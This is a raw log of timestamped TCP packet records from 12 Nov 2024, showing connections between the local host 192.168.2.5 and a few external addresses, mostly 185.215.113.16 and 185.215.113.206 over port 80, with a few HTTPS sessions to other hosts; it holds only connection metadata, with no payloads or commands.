Nov 12, 2024 05:03:09.064018965 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064042091 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064064980 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064080000 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064090014 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064099073 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064111948 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064127922 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064130068 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064143896 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064150095 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064153910 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064166069 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064171076 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064183950 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064193964 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064196110 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064205885 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064218044 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064225912 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064234972 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064235926 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064246893 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064264059 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064269066 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064290047 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064311028 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064321995 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064332008 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064342976 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064356089 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064358950 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064368010 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064379930 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064384937 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064407110 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064424038 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064435959 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064456940 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064480066 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064512968 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064522028 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064552069 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064553976 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064565897 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064596891 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064630032 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064641953 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064651966 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064665079 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064668894 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064682007 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064691067 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064694881 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064726114 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064735889 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064755917 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064769030 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064796925 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064796925 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064809084 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064819098 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064820051 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064836025 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064836979 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064850092 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064853907 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064862013 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064872980 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064881086 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064884901 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064905882 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064935923 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.064973116 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064984083 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.064992905 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065004110 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065010071 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065021992 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065032959 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065042019 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065045118 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065053940 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065064907 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065066099 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065080881 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065108061 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065114975 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065121889 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065133095 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065143108 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065152884 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065155029 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065179110 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065205097 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065229893 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065241098 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065247059 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065256119 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065265894 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065277100 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065282106 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065311909 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065376043 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065392017 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065402985 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065412998 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065423012 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065428972 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065433979 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065444946 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065448046 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065458059 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065469027 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065471888 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065485001 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.065495014 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065517902 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.065550089 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.138525963 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.138741970 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.507091045 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:09.511859894 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:09.511949062 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:09.512115002 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:09.516849041 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:09.828639984 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.828972101 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.833693981 CET	80	49958	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.833745956 CET	80	49978	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:09.833761930 CET	49958	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.833817005 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.834011078 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:09.839133024 CET	80	49978	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:10.576776981 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:10.576827049 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:10.583235979 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:10.588040113 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:10.747045040 CET	80	49978	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:10.747117043 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.860246897 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.860610962 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.865364075 CET	80	49978	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:10.865377903 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:10.865417004 CET	49978	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.865472078 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.865618944 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:10.870357037 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:10.872168064 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:10.872214079 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:11.795042992 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:11.795171022 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:11.796216965 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:11.800955057 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:12.090197086 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:12.090863943 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.204646111 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.205233097 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.210186958 CET	80	49981	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:12.210210085 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:12.210251093 CET	49981	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.210306883 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.210604906 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:12.215394020 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.124954939 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.125000954 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.412259102 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.417089939 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.702789068 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.702846050 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.879160881 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.879714012 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.884237051 CET	80	49982	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.884330034 CET	49982	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.884466887 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:13.884561062 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.924050093 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:13.928936958 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:14.805481911 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:14.805532932 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:14.811515093 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:14.816469908 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:15.102061987 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:15.102171898 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.276596069 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.276869059 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.281752110 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:15.282486916 CET	80	49985	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:15.282562017 CET	49985	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.282577038 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.282782078 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:15.287750959 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.036844015 CET	80	49974	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:16.037081003 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:16.185893059 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.185952902 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.195539951 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.200380087 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.247811079 CET	49974	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:16.379208088 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:16.379235029 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:16.379303932 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:16.384394884 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:16.384407043 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:16.475253105 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.486840963 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.603198051 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.603559017 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.608617067 CET	80	49990	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.608649015 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.612329006 CET	49990	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.612376928 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.622653008 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:16.627531052 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:16.991873026 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:16.991959095 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.001521111 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.001530886 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.001702070 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.001704931 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.001714945 CET	443	49991	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.002078056 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.002094030 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.002221107 CET	49991	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.002222061 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.003581047 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.003593922 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.451941013 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.451984882 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:17.452280998 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.453726053 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.453738928 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:17.515033960 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.518881083 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.520512104 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.525284052 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.609499931 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.619335890 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.631221056 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.637486935 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.637495041 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.637590885 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.637639999 CET	443	49993	35.190.72.216	192.168.2.5
Nov 12, 2024 05:03:17.638341904 CET	49993	443	192.168.2.5	35.190.72.216
Nov 12, 2024 05:03:17.801211119 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.801290035 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.918848038 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.919177055 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.923940897 CET	80	49992	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.923954964 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.924006939 CET	49992	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.924047947 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.932650089 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:17.937666893 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:17.990236044 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.990250111 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:17.994599104 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.998541117 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:17.998553038 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.017796993 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.022588015 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:18.025563002 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.025831938 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.030608892 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:18.314234018 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.314949989 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.317445040 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.317466021 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.321906090 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.321917057 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.322000027 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.322101116 CET	443	49994	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.322171926 CET	49994	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.619806051 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:18.736610889 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.839076996 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.839097023 CET	443	49999	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:18.840677023 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.842262030 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.842273951 CET	443	49999	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:18.844526052 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:18.845835924 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.851289034 CET	80	50000	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:18.852602005 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:18.852714062 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.853008032 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:18.857793093 CET	80	50000	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:18.860524893 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:18.867070913 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.867544889 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.867671013 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.868143082 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.871192932 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:18.872349024 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.872349024 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.872356892 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.872489929 CET	443	49997	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.872737885 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.872766972 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.873069048 CET	49997	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.873137951 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.885299921 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:18.885312080 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:18.885624886 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.885652065 CET	443	50002	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:18.885833025 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.887145042 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:18.887156963 CET	443	50002	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.154581070 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:19.154788017 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.274049997 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.274346113 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.279098988 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:19.279175997 CET	80	49996	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:19.279177904 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.279330969 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.279362917 CET	49996	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:19.284064054 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:19.458054066 CET	80	50000	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:19.467995882 CET	443	49999	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.468100071 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.500123024 CET	443	50002	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.500191927 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.531342030 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:19.746457100 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:19.747124910 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:19.749598026 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:19.749609947 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:19.772339106 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.772357941 CET	443	49999	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.772430897 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.772604942 CET	443	49999	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.772787094 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.772803068 CET	443	50005	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.774975061 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:19.774991035 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:19.775082111 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:19.775129080 CET	443	50001	142.250.185.78	192.168.2.5
Nov 12, 2024 05:03:19.776906967 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.776921034 CET	443	50002	34.117.188.166	192.168.2.5
